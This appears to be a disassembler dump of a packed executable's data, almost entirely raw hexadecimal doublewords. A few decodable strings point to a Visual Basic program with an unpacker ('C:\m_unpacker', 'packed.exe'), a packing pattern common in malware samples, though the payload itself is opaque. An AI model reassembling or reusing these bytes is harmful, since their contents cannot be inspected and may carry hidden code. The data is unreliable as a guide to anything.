		dd 0D2A678E6h, 79D9529h, 8B5A07D3h, 0E0C281F7h,	8900005Bh
		dd 0D31211B5h, 16CB6807h, 0EE90000h, 54000000h,	5BC791Dh
		dd 0E1113358h, 82EC4540h, 32FF5FE4h, 1BED8D89h,	0E95B07D3h
		dd 0Eh,	480FDC76h, 98A22C77h, 284ED31h,	0C38133BEh, 530A25DBh
		dd 8E9h, 92A51000h, 311641DDh, 67EB81A3h, 8B16D78Dh, 0D30A5D85h
		dd 4FEB8107h, 0E9071B41h, 6, 2BBC37B7h,	1A89E636h, 83C3B70Fh
		dd 0EF8304EAh, 0A3850F01h, 0E9FFFFFFh, 14h, 4062446h, 21847A73h
		dd 0FD91750Ah, 1B2E850Bh, 1FE1B16h, 17EE9h, 0A4CC1000h
		dd 8360DD28h, 5C3A437Ch, 6E755F6Dh, 6B636170h, 70007265h
		dd 656B6361h, 78652E64h, 65h, 3Ah dup(0)
		dd 61433300h, 746F6E6Eh, 6E696620h, 25272064h, 202E2773h
		dd 61656C50h, 202C6573h, 692D6572h, 6174736Eh, 74206C6Ch
		dd 20736968h, 6C707061h, 74616369h, 6E6F69h, 6E756854h
		dd 614D5452h, 5F006E69h, 6162765Fh, 54726156h, 654E7473h
		dd 8 dup(0)
		dd 0E9000000h, 2744h, 0DF32C568h, 14C1E907h, 3968FFF5h
		dd 0E907DF34h, 0FFF514B7h, 0DF35CC68h, 14ADE907h, 0C068FFF5h
		dd 0E907DF36h, 0FFF514A3h, 0DF36FF68h, 1499E907h, 1868FFF5h
		dd 0E907DF38h, 0FFF5148Fh, 0DF390068h, 1485E907h, 6E68FFF5h
		dd 0E907DF39h, 0FFF5147Bh, 0DF440C68h, 1471E907h, 0BC68FFF5h
		dd 0E907DF44h, 0FFF51467h, 0DF45CA68h, 145DE907h, 1868FFF5h
		dd 0E907DF47h, 0FFF51453h, 0DF479A68h, 1449E907h, 0DA68FFF5h
		dd 0E907DF48h, 0FFF5143Fh, 0DF498268h, 1435E907h, 3B68FFF5h
		dd 0E907DF4Ah, 0FFF5142Bh, 0DF539168h, 1421E907h, 668FFF5h
		dd 0E907DF55h, 0FFF51417h, 0DF55C868h, 140DE907h, 4999FFF5h
		dd 814FAD64h, 567B5918h, 0F75AA66Dh, 2789571Eh,	9240A76Eh
		dd 0E8A76EC2h, 14DBBA0Ch, 0E7AE67C8h, 12E1CA19h, 0F66CCA7Fh
		dd 0F82C01DFh, 6BBB4124h, 0C68FE9AAh, 138B5A6Eh, 22AFAFA3h
		dd 3F80F924h, 2D461980h, 0D899BDB9h, 1678D908h,	2A9C537Fh
		dd 9B1B4EFDh, 0ACF044ABh, 41A83884h, 0BA9C1E78h, 28219D61h
		dd 0C9FDDF76h, 0FEB73DE1h, 0F1A19798h, 1F9B0723h, 0F24647B0h
		dd 421C0D06h, 7581B0F7h, 2C8A4B14h, 62F2B30Bh, 53F27BF1h
		dd 35DC72F0h, 2C23D123h, 0D29B7ACCh, 24EDA8FEh,	955C8C39h
		dd 0E40CBC03h, 74773069h, 792Bh, 0E744C300h, 25AB1134h
		dd 21359C44h, 141B198h,	0FB47968Eh, 8A22C9E6h, 5DC4530Fh
		dd 980BD4B4h, 6A1EB81Fh, 76E0003Fh, 237FF7F2h, 0C3600047h
		dd 5CE003EFh, 8CB8C75h,	6AFEDCAEh, 0E6ED536Ch, 7A732085h
		dd 9501BA9Eh, 80413AE9h, 3F0482ECh, 4E5B9FFFh, 0F2FBE2F2h
		dd 46E2C016h, 30046000h, 776A50A7h, 0BE207B73h,	3276B928h
		dd 93000001h, 6EC2DB2Dh, 6692E6A7h, 8B5A7FF5h, 2D7F5122h
		dd 0E4BEAB64h, 0AB05D40Bh, 0E3F18D75h, 0F0DF41FAh, 0BB687F31h
		dd 537FA37Dh, 0A1FD7570h, 0FF2422EBh, 3B6F3767h, 191DC912h
		dd 1A66D3A0h, 35DDEB7h,	5B6E1DDCh, 0D576CBAAh, 621CE79Ah
		dd 0FF52DE26h, 0D7FB5D16h, 309EF4FBh, 0A455CA21h, 99659F92h
		dd 46CF1F9Dh, 0D6AEB4Dh, 458E2961h, 0E54AB6C9h,	0A35BA730h
		dd 0C01CD33Ch, 82E7A811h, 90ECA9FEh, 66E4553Ch,	0DF579239h
		dd 184EBE44h, 50458132h, 2F34EEB0h, 651E6970h, 0A46DDCEAh
		dd 0ECFE14FAh, 0E677FD6Bh, 96C33155h, 7B6F2612h, 0F4487B2Eh
		dd 555405ECh, 0FA9BEC50h, 23940166h, 0BA8D9BB3h, 0EC4051FCh
		dd 0C2302B81h, 0BB9418CEh, 9FCAAE3Ah, 7CECF21h,	0DDBBBA9Eh
		dd 0A2F00A8Bh, 542F0011h, 23E55F2Fh, 4D950000h,	854BA968h
		dd 5A87551Ch, 0F356A271h, 23855322h, 963CA372h,	0E4AB6ABEh
		dd 10DFB618h, 0E3B263C4h, 2EE5CE15h, 0FA58DE8Bh, 0EC2C01E1h
		dd 0A6C3B030h, 0CD238A5Ah, 2422AFD1h, 48982115h, 3662DE4h
		dd 0F16A2B7Dh, 9857408Fh, 34E74430h, 8686A111h,	728DDD0h
		dd 18528647h, 4AA9A50Dh, 0C13DA967h, 0DCEAA13h,	781144AAh
		dd 0ECFBDE98h, 886ECF9h, 0DE1C5898h, 98267CDAh,	0ECC81C58h
		dd 0F8F9FD6Bh, 0ADAA379Eh, 0E2F4A5D1h, 8EE414E7h, 3B9F4726h
		dd 4C7C43D7h, 6211CC96h, 9191B3CFh, 306CEFC8h, 0E2A8389h
		dd 0CA000001h, 894C8B5Ah, 0C52EB57Dh, 0ECB26CCCh, 0FE0F4AFh
		dd 0EDA66FC1h, 961C2909h, 0A39C46D6h, 0E5569D77h, 0BE7AE00h
		dd 9336EC4Ah, 43B9F369h, 1384359Eh, 1E0493BBh, 2F80FCE4h
		dd 0ACBAD66h, 4AB3229Eh, 7D666D4Bh, 30EFF64Ah, 0E1B04946h
		dd 4811E51Bh, 17C21F8Bh, 812EC62Ch, 75CE77ADh, 88BFA5B7h
		dd 0BF4DB61h, 48045AD8h, 0EEABF89h, 455FE94Dh, 0FD69144Bh
		dd 8B672C81h, 16C52284h, 36333633h, 0C34AE2C0h,	0C23004EBh
		dd 0EBC34ACCh, 353ED73Ah, 0D2836FD3h, 4A439964h, 43FC971Eh
		dd 86ECCBCFh, 0CE984F78h, 0CBFEFA6Eh, 47821375h, 7EF4E8F9h
		dd 9883020h, 0D06F2C6h,	0DEBAA2Bh, 8800DABBh, 264A14DEh
		dd 2271916Dh, 0B1210000h, 6977454Ch, 0BE237180h, 0EF429E55h
		dd 3F916F26h, 8A289F56h, 0D09F76DAh, 0FCF3A204h, 0CFC64FA0h
		dd 0FAF9E2F1h, 0E84F257h, 0E02C01E4h, 3DC3A4FCh, 54AC2D96h
		dd 0DA2621F0h, 5C19A20Bh, 0A9685180h, 0AA8B5A3Fh, 0EBA4D045h
		dd 0E7AE027Eh, 37895226h, 0CD303FA8h, 0B7ABBB11h, 0AC2D112Fh
		dd 0F3AE13Eh, 0D63FA61Ah, 0A56E278Ah, 0ABA412C3h, 418984FAh
		dd 0E9EF734h, 0A811BF3Dh, 0AFA8F1F6h, 0DCEA7B8h, 82763FB5h
		dd 0A91734BAh, 59C0D13Ah, 868285D9h, 698D69AAh,	0C6E187F0h
		dd 8681F270h, 0E52AF4AAh, 0D0122329h, 3B342034h, 45E95C5Bh
		dd 14554268h, 0B60A9021h, 9513C451h, 3A025D1Fh,	5BDBCE36h
		dd 2A060607h, 0F84A0BE7h, 0A34B7F42h, 832E78A8h, 117EEh
		dd 0DE057B00h, 9B1CFCF5h, 3AC8F339h, 0B461C6EDh, 4E795DBBh
		dd 4C4B47E8h, 0F806D871h, 0A363F244h, 1ED239E3h, 2DFE99CEh
		dd 2B34AACh, 174A86E9h,	7EFB3AA9h, 43F42A5Dh, 5127E80Ch
		dd 6DA52E88h, 0B3235C77h, 0A5BF15BFh, 53E8DFA4h, 30DFB19Eh
		dd 0EEC63995h, 0C02A504Fh, 258DB863h, 0E44E82BDh, 0A8854EB2h
		dd 6ABECF46h, 87DB5B8Eh, 6758915Fh, 66CCA8Bh, 2652CDAh
		dd 28F56764h, 0D6E2868Bh, 0C970AD1Dh, 1A6D189Eh, 3B6BB53Eh
		dd 428AC994h, 2F1D6FACh, 13CD996Bh, 6952D926h, 2E193D94h
		dd 0DB9A03D2h, 0E0B51A66h, 2080390Fh, 967FD0B1h, 526E98C2h
		dd 7B18C973h, 20DE23h, 61448E00h, 379E4692h, 8E775C38h
		dd 3DD63987h, 8F066A36h, 9BB51B80h, 0EBC9C849h,	9DFBFA9Bh
		dd 0F8C4CB48h, 5CF100E9h, 0E51589E9h, 5D92C01h,	228B5AADh
		dd 8D3C6951h, 3FE5DC5Ah, 0F24EC4F7h, 11BD25E2h,	0C7D7F9C5h
		dd 0D586E2ABh, 0A871CA61h, 3089E5E5h, 4023B26Ch, 0E7C1D0A4h
		dd 0ED3AC8F3h, 4FAB0B3Eh, 6D61C283h, 0A76D60E8h, 0B81D7FD7h
		dd 64DC240Dh, 7590E690h, 8396D5FFh, 0BEC9F403h,	811BC7FAh
		dd 991BD97h, 7750A62Fh,	86D6E523h, 745C87E4h, 0F87E698Dh
		dd 0F4363EB6h, 61D7529h, 0D458C205h, 0E055F363h, 0B73DEBE0h
		dd 3D36046Eh, 0CA33A11Fh, 82E66FC9h, 1F7303E6h,	0CFBD09FBh
		dd 9CFE0FE3h, 53A99C4Fh, 0E6A238Ch, 0F6D65C4Dh,	0F623EF41h
		dd 78D10735h, 66D4CB29h, 0B2367B45h, 0B61DA3C6h, 6B7A464Dh
		dd 0A5D45882h, 0E9AAF1EAh, 1FEA15h, 65489A00h, 1B8252AEh
		dd 725B8854h, 21F255A3h, 73228652h, 0B7A9077Ch,	0E7B5BC55h
		dd 0B9070E87h, 0E4B0BF54h, 385D14FDh, 0E5A9A50Dh, 613D2C01h
		dd 228B5A81h, 715E2238h, 0AFFF84AFh, 1FABh, 878E775Bh
		dd 3342AB39h, 0D8977C65h, 29E8A9FCh, 0D99879CBh, 3094CCE2h
		dd 0E0469261h, 0D623E35h, 0A42B8988h, 2421343Bh, 1E5D0CEh
		dd 6A4A162Ch, 29EA3DC3h, 5E379868h, 705FC17Ah, 0C7248687h
		dd 31343114h, 22AFCDC1h, 32152124h, 22AFCEC4h, 0A3142024h
		dd 5C54633h, 4892BCEFh,	0E0962039h, 34168D94h, 18D7DB85h
		dd 62BF6555h, 23998CB7h, 73E354BDh, 61B51B7Eh, 1251C674h
		dd 423AB839h, 0AC4DBC52h, 3C9A3C38h, 0BEE552D2h, 8EA814Ah
		dd 3D34EEFAh, 0E18C7B33h, 0C82E8952h, 4CC0ED5Fh, 21C8158Fh
		dd 85D7D026h, 0CA25D9EFh, 0DEDF27DAh, 9DBAB58h,	4531B5BDh
		dd 5A015E4Ch, 7A87A6Fh,	5A201CCh, 0BB63D384h, 0B1B840FBh
		dd 0E7EE4983h, 0D462477Ah, 0E811CE7Eh, 63D38470h, 3B61F1C3h
		dd 0B2C0A2C5h, 8B7BBC8Ah, 4388066Ch, 5A5EB4E2h,	77EB4B7Eh
		dd 77B4E243h, 6A4EBA7Bh
		dd 0E9D2017Fh, 0E96B372Ah, 42E6B550h, 0F2E13FF8h, 451EF09h
		dd 641F3FCEh, 1E928Ah, 2D904200h, 634A9A66h, 1A8350ACh
		dd 692A7D5Bh, 1BFA4EAAh, 0F416F54h, 0BF1DD4BDh,	11EFA66Fh
		dd 0BC18D7BCh, 0D0E5AC15h, 0E8411D95h, 0F9A52C01h, 880F50F9h
		dd 0DC60121Fh, 24040DF4h, 0CE9F76D8h, 0B555C17Ah, 0B897B7C2h
		dd 0ACD0E91Eh, 0EB4B5ECAh, 2422B177h, 6849A577h, 36959041h
		dd 0AB499922h, 0D24950C8h, 805FE836h, 0BBE3860h, 0FB2C458Bh
		dd 0B0B75E75h, 0A0252022h, 0BA066D00h, 836CEC2Bh, 5AE9863Ah
		dd 0F45ABD7Eh, 0C45BBC0h, 0BCE76F33h, 0F99E2B8Fh, 7E84E240h
		dd 0F10275B7h, 0E36FB72Dh, 25962C30h, 0FC384B1h, 428FED59h
		dd 0F7C09859h, 36BCA9A0h, 0A70FC458h, 0C531AA8Eh, 0CC45A51Ch
		dd 4FC1914Dh, 0AB553E8Fh, 1D9EA3B8h, 2F87A2C5h,	13B9EB33h
		dd 319A47B3h, 0A52C9445h, 65301A3Ch, 117240E6h,	1DAABDh
		dd 25885A00h, 5B42926Eh, 329B4894h, 61329563h, 33E24692h
		dd 0F769473Ch, 0A7F5FC95h, 0F9C7CE47h, 0A4F0FF94h, 781DD43Dh
		dd 0E8E965CDh, 21FD2C01h, 5EE744C1h, 2A040E76h,	0F3D60291h
		dd 0CECF583h, 8F520B2Eh, 1DA326ACh, 9C1A4DB6h, 569552C6h
		dd 2C8B4C28h, 0F64294C2h, 2DEF5943h, 601222E6h,	6A8C6858h
		dd 0A8A29EEAh, 3C1B7310h, 0EC00001Dh, 0A4F0FFE6h, 0C21ED53Ch
		dd 17E5AC11h, 0C814DBB4h, 1E6AD64h, 662F81D3h, 18FD51AFh
		dd 692A7B59h, 1E874EAAh, 0AF074257h, 2C01E8B3h,	5A876733h
		dd 0D33AAA8Bh, 33A2EEFFh, 3DE0C9CAh, 22EA658Dh,	59AC7D4Bh
		dd 0B9000000h, 0A932E343h, 9A54504Bh, 0A917C8CBh, 0AE08D13Ah
		dd 207B02CCh, 0D84A7AFCh, 0D8240A42h, 0FE1ACA09h, 964B47AFh
		dd 979BF5B3h, 3F3EA1E5h, 0FCE95C13h, 0B3561876h, 38EACEF5h
		dd 0BB49895Fh, 3A9C1DE8h, 3D335E0Dh, 0E002450Fh, 3C9A34E1h
		dd 0CC063085h, 9C0BE3ACh, 4F00001Ch, 51228B5Ah,	31B73C69h
		dd 71816DB7h, 0E9AAFB5Fh, 7F66DA0Dh, 30E54A96h,	5950095Fh
		dd 0A1EAD2D9h, 42F7CC40h, 70068116h, 0DBF56713h, 8FBABE22h
		dd 7E37DC31h, 679052B7h, 43739174h, 0D9068435h,	0C4323732h
		dd 2BF609CEh, 0A6A31420h, 3E58D650h, 64082684h,	0A1F8B4Bh
		dd 2CABB6ACh, 17FE5074h, 63460256h, 2CAC7FD3h, 6F836F74h
		dd 89F482E6h, 939434B2h, 0D21EEFC3h, 53A99C01h,	0DC9922F3h
		dd 6B72ECF6h, 49EB050h,	94919CE7h, 0A14FC628h, 9D16DEADh
		dd 0D2D02641h, 149D16DEh, 3BA83420h, 3BB909D2h,	0E5459704h
		dd 594090ECh, 2F963E9Ah, 4C42925Eh, 9DCAB392h, 5FF514D3h
		dd 54AA3C03h, 0E30FE3h,	3C118DE5h, 0E1D554AAh, 9EC19B58h
		dd 6F5A61C4h, 0BB7C7EEAh, 0E05C8246h, 300809F0h, 138B59A7h
		dd 0AA16AFA3h, 1F333F54h, 8EA0FB50h, 0ACF6ADD2h, 9E000003h
		dd 1134E744h, 47FCACA1h, 844042BCh, 2EC8F235h, 1C54F9E2h
		dd 757E7ADEh, 194CB51Bh, 0BDF60545h, 42B0D6E1h,	1B2B7E4Ch
		dd 0F9C296A2h, 0D315C93Ch, 928A0F68h, 2652C324h, 46854BB5h
		dd 8E9220D8h, 4FA7A212h, 1B2ABA53h, 0BAB39F93h,	3C2EB8DCh
		dd 33A2A82Ch, 0E9B56474h, 239A158Eh, 0C642F35Ah, 18F47870h
		dd 95F7890Ch, 369DF3FCh, 0D5A38BEh, 0A88CFC07h,	57C2C3CCh
		dd 5A7F5C93h, 0D6BE74Fh, 3193FC07h, 0DB98F60h, 0A471D529h
		dd 3B3AAE33h, 0C150B495h, 0BFECDE95h, 2059D90Ch, 1ED56455h
		dd 8CEBE5FFh, 918E6B09h, 0D880A804h, 6BBD13DCh,	7376EBAAh
		dd 0F3528F03h, 70535F47h, 0F3528C02h, 0E5566247h, 0A768297Bh
		dd 3B002C4Fh, 490CCAD6h, 85F1232Ah, 51FC6Eh, 932A7D03h
		dd 0C5E983EDh, 0FEB79BE4h, 0A424B58Ah, 0D3A273D5h, 313AB46Eh
		dd 74B7E07Ch, 6F1A47C3h, 4399FE74h, 0DBCE4586h,	7E45075Bh
		dd 4A0BE7B5h, 0EE9E6FECh, 39E88EF1h, 43FBBB11h,	2CE9F93h
		dd 0CD2BEAD3h, 416C706h, 7712B7D2h, 0B214685Bh,	0DD62AE3h
		dd 6591E7A8h, 0BEC71FF4h, 0AF2683E6h, 9A1B8051h, 0ADFF593Ch
		dd 0D82EC8A2h, 0E8FC454Ah, 0F7864A17h, 158A29E8h, 3B237B96h
		dd 547C5817h, 47B5A46Dh, 6622BE4h, 0FCE5EB55h, 3AAE19F3h
		dd 652C953Bh, 67471E00h, 0C6A60051h, 65272215h,	643E5163h
		dd 3D9F6CD1h, 5BAB4FE2h, 0D65FB9BAh, 0E122h, 0F65AB200h
		dd 76D8241Fh, 0EC5D169Fh, 96573E90h, 45A7F9C2h,	46A9F054h
		dd 0C4CDA9CDh, 8EEDDD68h, 14685B3Ah, 4B99E5CCh,	0FEB79162h
		dd 237DE037h, 0AB177D4Bh, 2C000000h, 0D89900D0h, 5A5DB780h
		dd 0E851228Bh, 0F5664F94h, 0F04C448Bh, 1DFBF49Dh, 22AFDBB7h
		dd 0D3270B24h, 0BECFA30Ch, 90EFE36Eh, 0B2995841h, 7D4B22D7h
		dd 75BDh, 0A6C3D500h, 22B05250h, 17A09424h, 0E3ED76B3h
		dd 0EE8F8F76h, 328EB99Dh, 6A3637DEh, 0F2638F06h, 0FDB7FF7h
		dd 299B28Fh, 8B95109h, 0B89C566Eh, 0E8CC58E3h, 148AE8FDh
		dd 0DA0BA9ADh, 0B3965DDEh, 4E1F844Dh, 930266FAh, 59BD7EDAh
		dd 3FD73FF0h, 19C501EEh, 4765FF0Fh, 66CE3C89h, 2BE4C91Ah
		dd 0EBA471D5h, 0EB02C691h, 9A529649h, 66E3FCBFh, 13ED5h
		dd 0E744FD00h, 0A10AD725h, 22B05F33h, 0CFA38F24h, 0DB2B9194h
		dd 56DF393Ah, 28B4A600h, 0AB15C9E2h, 5835D7A7h,	73247AF8h
		dd 0EECAEA2Dh, 5BE5510Ah, 0CC2DF30Dh, 80B35212h, 1FBB60EBh
		dd 189049B2h, 0E5AA579Ah, 0BFA3C6AFh, 8F1B3E5h,	9203662Eh
		dd 0ACBA781h, 7D99A9Eh,	0D321F0D9h, 15EBA40Dh, 1F03E6CFh
		dd 97544A44h, 0C64F9F98h, 0CE876BCDh, 7A242705h, 5897D8E9h
		dd 64DD5E29h, 0E6CF1564h, 0D845482Fh, 9F4F0911h, 5F000000h
		dd 0CC2AE244h, 2422AFD6h, 0D381C18h, 0D140A418h, 87EF68C0h
		dd 73DB44BDh, 2043B9BBh, 500E68D4h, 16641D69h, 0BB299792h
		dd 0AEAEA452h, 3440A422h, 45792520h, 0D69A452Fh, 0DEB87B3Ch
		dd 0E522F1C8h, 0DFBBB5CCh, 5EB73D4Ch, 0A86623E0h, 0B71CA0C5h
		dd 0D4148D4Eh, 0AC34578Fh, 0B89C79CDh, 106661B7h, 0A21C2792h
		dd 51746054h, 9D07B58Dh, 0F364BC82h, 0C0A80F6h,	0FF7DBC8Fh
		dd 4D2BE4ADh, 0DC672A8Ch, 568E37h, 0A927052Fh, 97F743DFh
		dd 261BDAFEh, 809A8E7Ch, 74E558C1h, 160Ah, 6B585200h, 11000000h
		dd 0AFC09E14h, 52262422h, 0B5BE27AEh, 5A72E253h, 956B2489h
		dd 0BAAF664Fh, 663CBAAFh, 882422B0h, 0B04846ACh, 971F2422h
		dd 2422AFBBh, 979B472Bh, 0AB12C21Eh, 0DB0977E2h, 0A20169F2h
		dd 359A2183h, 0D4243388h, 5CB24E2Ah, 0F2D49DB9h, 0C8DE7F49h
		dd 0AA04B243h, 43B4421Fh, 0C52221E2h, 0F4FCECF3h, 774A9E99h
		dd 10B3FBh, 0E1449300h,	0B5D393Ah, 90819F2h, 78BAD20Eh
		dd 65367AFCh, 38F26277h, 1DA34989h, 0B3476C9h, 0C9A005EEh
		dd 0F884E4ADh, 5C3BFC95h, 0FB9FDB01h, 8793h, 0E1443B00h
		dd 0DAA70F3Ah, 0D86A4B36h, 599CCE22h, 5509B82Eh, 43139CEDh
		dd 0F001EAF7h, 0CDC64FA0h, 0EEF3876Bh, 482C0C05h, 0B4AA081Dh
		dd 3AA252AEh, 0FFB60168h, 9DB99DEBh, 8EF2571Ch,	0B5935C39h
		dd 0D3659204h, 6667DAA7h, 0F779E583h, 237FF7F2h, 0C3754A84h
		dd 840D81EFh, 0D5E1754Ah, 0A668FE64h, 39A4DEA1h, 65C8C62Ch
		dd 1A1E4AD6h, 6741A1h, 735091Eh, 29B76B0Dh, 9E2394C0h
		dd 19C7C22Ah, 1CDA3FFh,	0E5000003h, 9A3AE144h, 3DC3EC08h
		dd 5AA62F94h, 54B2228Bh, 1ADED1A0h, 62B8804Bh, 0D8000000h
		dd 0D89FDFC3h, 0F07AD85Eh, 886C2422h, 3BB17B96h, 2ED5107Ah
		dd 6033C3C6h
		dd 9E138269h, 551502FFh, 486281EFh, 0A31D63CCh,	9DCA94CFh
		dd 0B21BC943h, 30AE5CF0h, 0DFC34DA7h, 0B53FDCB7h, 0AB9E1713h
		dd 24895A49h, 0BD82441h, 0B05E34A2h, 0A4902422h, 104312FAh
		dd 0CD8EC5BEh, 58E70D67h, 2Bh, 3AE1449Ch, 0F433C39Ah, 2A225387h
		dd 7F0EE612h, 0CFA6169Ch, 0C599A1E0h, 0C38D28D5h, 0EE540565h
		dd 0C30C6484h, 24895A31h, 50E70DCCh, 80286F03h,	304CDEF1h
		dd 5D2492A7h, 45E847DAh, 0F7FE97F9h, 0DBD13AA9h, 32D8B90Bh
		dd 0F7864A37h, 0C82F0E8h, 0E2E6396Eh, 85802D6h,	473AF0D9h
		dd 539702A4h, 8ADCBD24h, 5226020Bh, 118958A8h, 396DADA1h
		dd 0B308FBE6h, 0A116DDF8h, 87255125h, 10095CE0h, 3C1CD5BCh
		dd 38015718h, 3C8B84E8h, 0B583492Fh, 314C42B0h,	93234B2Ah
		dd 4B2A30BFh, 1B9F432Fh, 0AE274BB4h, 3287F348h,	788DE354h
		dd 7863D491h, 0D4BD0F6Dh, 7402E563h, 640D9E1Eh,	1A10E4D0h
		dd 2186FA5Fh, 0AA9D7B74h, 0D9E564Ch, 1B9C9864h,	8C5322A6h
		dd 0ADA11114h, 41640D9Dh, 9DC39F35h, 4F23640Dh,	9396D123h
		dd 0D9E2F23h, 2B3BF64h,	0C2CB4A9Eh, 0DAC55D87h,	8C056716h
		dd 30A83785h, 0D9DCCC2h, 42162264h, 0BE57B907h,	9E372B8Bh
		dd 0BBB7640Dh, 8FED54FAh, 4A965740h, 95F30E5h, 0B0146CEDh
		dd 62A19D5Fh, 66789BFDh, 0DA58A7F5h, 0E959D28Eh, 1A10E480h
		dd 0F6854594h, 5A3B8EEFh, 0EFF54B7Eh, 0AA2B0D06h, 0B821B050h
		dd 0C3116FD2h, 763F19DAh, 5FD235C3h, 60A9756Bh,	930F67A5h
		dd 53E65E6Dh, 423B9D5Fh, 8ADAB83Eh, 280CE65Eh, 0AE358B4Ch
		dd 844BB345h, 8AA8A60Ch, 37BFE65Eh, 0E65E8B5Bh,	613BA78Bh
		dd 0F806760Ah, 0C8ACC83Eh, 0DB216E2h, 78FC99FCh, 985ED89h
		dd 0DDE65E40h, 33D9FDD9h, 1BD43DA3h, 0E1B263C5h, 0E80FC38Eh
		dd 4938B825h, 0C055B99Ah, 7E0483AFh, 43978354h,	41B1432Fh
		dd 0B2228B5Ah, 0E244EC08h, 0A0549939h, 4B1ADED1h, 59B880h
		dd 44D80000h, 0B20E39E2h, 0AEC1BB22h, 0EC17AA65h, 0C3066EE7h
		dd 7CB1F133h, 0EDA92FC5h, 1E09ED02h, 2DB7AB0Bh,	3B37F2FBh
		dd 4F831C7Ah, 0C67A039Fh, 2789F7F2h, 0C387ED6Eh, 0EDDFC331h
		dd 0FA3DA9EAh, 9CE0BE34h, 32062423h, 0A52B9546h, 0DFB061C4h
		dd 0D056D89h, 2E58E7h, 449C0000h, 0C39939E2h, 0D1EAE633h
		dd 0CA5C1CEAh, 16D01E48h, 0ECE3246Ch, 3B4EFFE3h, 1045288Ah
		dd 0BF78196Ch, 86EE0A58h, 8A5A31C3h, 0E70DCB23h, 0BEC61F50h
		dd 0DFB6DD7Ch, 1C9A967Ch, 97DC4C51h, 54A89BDBh,	0B6D268Fh
		dd 0FC4CF44Ah, 8FEDFFFFh, 72E2533Ch, 124D7C50h,	0F2257C98h
		dd 67CD0D75h, 0DF116D68h, 0D980E387h, 12B734EEh, 1EBA48E1h
		dd 2EA76EC2h, 0EA200267h, 0D88E24AFh, 0F3DA0A56h, 98F5DE42h
		dd 78795D34h, 0BFF7AB1Eh, 0B0209C02h, 0C62FB549h, 8CEA6BCDh
		dd 25BB0C0Dh, 0EE805AF4h, 0FAEF1EF1h, 0F1F1267Ch, 0C916C81Ch
		dd 0A6C237F2h, 0A0F7C094h, 0B1D000ADh, 0E8B4BB20h, 0D3D611F8h
		dd 0F1E8EF63h, 42F3FF1Ch, 2CD70F73h, 0CB8D8363h, 32635586h
		dd 42D8AE8Eh, 946306B4h, 97A57965h, 13E49397h, 3DF771EAh
		dd 24984E82h, 0F3E455BCh, 2EB12E98h, 2D0FEh, 3DC39600h
		dd 0BB20B1EAh, 0E4B81E97h, 2468425Ch, 4DB7641Dh, 0AA7F2F85h
		dd 4B7EBF0Bh, 5405EEF5h, 0E7E289D6h, 6F567E02h,	0E9AA90E6h
		dd 47CA2A40h, 0B69D9EA3h, 4FB2B020h, 0BBB731BCh, 338D51B4h
		dd 210C1F66h, 0DA0759E2h, 0D020F1h, 0D808D899h,	6DBA20F1h
		dd 694B47AFh, 979B4335h, 68D688BBh, 0DC5E6228h,	0A5C0A932h
		dd 0F7E60BF9h, 89BCEC3Ah, 35A43529h, 0FCBDB943h, 0E5BFB59Ah
		dd 0F8B427D9h, 0CE24DF5Dh, 34770757h, 0A9A50D18h, 3D0B44F7h
		dd 0B1178039h, 16B7B3C5h, 0C2C14853h, 129EECh, 21844E00h
		dd 775E8652h, 4EB71C78h, 7D167947h, 4FC62A76h, 0DB755B40h
		dd 0AB090889h, 0DDBBBA5Bh, 0B8040B88h, 9CB1C029h, 0F45549A9h
		dd 0C5992C01h, 228B5AEDh, 8D3C6951h, 7E44DC5Ah,	2A3CD470h
		dd 0DE41AF84h, 3F84D88h, 6E3037DCh, 0EBDC6BDEh,	7EEA6BE4h
		dd 0E65A4F7Ah, 3EA21382h, 69353095h, 6846D9BAh,	0D5C92994h
		dd 191BFBBBh, 0B580391Dh, 11FAE7h, 0DA474519h, 24AC0203h
		dd 1D864DB3h, 92396654h, 0B8BEDF57h, 2DBCC28Ch,	463CDD6Ah
		dd 967FD363h, 24874322h, 3AFBF76Bh, 94698EE8h, 0E97D23D8h
		dd 0B905EB0Dh, 839174h,	11EEAEh, 0D1349E00h, 7EEF6C2h
		dd 0BE27AC08h, 0D86E9B7h, 0BF56BA06h, 6BE5CBB0h, 1B797819h
		dd 6D4B4ACBh, 28747B18h, 2C4150B9h, 0F3E5B939h,	55092C01h
		dd 4C8B5A5Dh, 0E474D072h, 0F57D6870h, 24231799h, 848D694Dh
		dd 0F14CC916h, 0E2E7EFDDh, 0E0569165h, 0DC35B64Bh, 2F58EB49h
		dd 732F1249h, 0B04A444Eh, 67CF88CFh, 0EBB1A4C5h, 43378C56h
		dd 4EDA3831h, 33871B8Dh, 5C133FD0h, 0D9595180h,	1BAD7285h
		dd 0D9ADDD23h, 56124A4Ch, 0FF1085EAh, 6A294D29h, 0ACAA2B78h
		dd 9B81DE89h, 0F8F99AEDh, 25203420h, 169F08D7h,	8AA6C333h
		dd 6A5C36B4h, 0C5517BF3h, 6EF97219h, 3CFDC469h,	1DA190E6h
		dd 0D551B5EDh, 499AE6E1h, 824FAD64h, 0F4F15819h, 0AE2207Eh
		dd 0C89DEA6h, 0B5C12503h, 0CC359C04h, 28268C99h, 0BEA60AE2h
		dd 0C73201BAh, 0D2836879h, 65600B58h, 0A89E7B0Dh, 8CC4791Eh
		dd 46AC5987h, 0AC056DDCh, 0B8A29612h, 0D8B7A0FEh, 0E0F3CBC8h
		dd 90000010h, 48945B42h, 96623198h, 4BA9684Dh, 7C5817F8h
		dd 35AA6928h, 0B263C59Fh, 0E4B115E3h, 957ECF2Dh, 0EAD302DEh
		dd 53E3862Bh, 2C01F4FFh, 5AB32BEFh, 6951228Bh, 4F5A8D3Ch
		dd 3AFBE0F1h, 0DD6F35DCh, 0DC452BEFh, 47ADF875h, 0DB077B1Fh
		dd 0FB9AEC50h, 23A516F2h, 0E0BCB3BFh, 0CBDE09F0h, 0FA398E17h
		dd 0D4827FFEh, 14F8977Eh, 2D38470h, 0C9C82DB6h,	0EB3DC3DFh
		dd 6B0F692Ah, 0A078791Ah, 0C376B317h, 1F9F12A0h, 0CE901F92h
		dd 0A7227928h, 0A80EC798h, 829375BBh, 87AD943Ah, 0BC24D3F2h
		dd 0AFD18DB8h, 424CABAEh, 0CEAA932h, 541E01B2h,	3F4941CAh
		dd 1CA0C790h, 2C8A4BCAh, 0B2FFA191h, 93578A30h,	2859005Bh
		dd 0C79686h, 0C33E0000h, 2F3167DFh, 7E379F35h, 424BB222h
		dd 917A69D7h, 0D12FA880h, 0BAAF9A03h, 9E34E146h, 242336C0h
		dd 0CA895226h, 0ED2C93F6h, 0AE6B3B9Eh, 3CB87A9Bh, 63A2242h
		dd 1CF21F2h, 0BA64D998h, 30BF71C1h, 0A525969Dh,	2096D178h
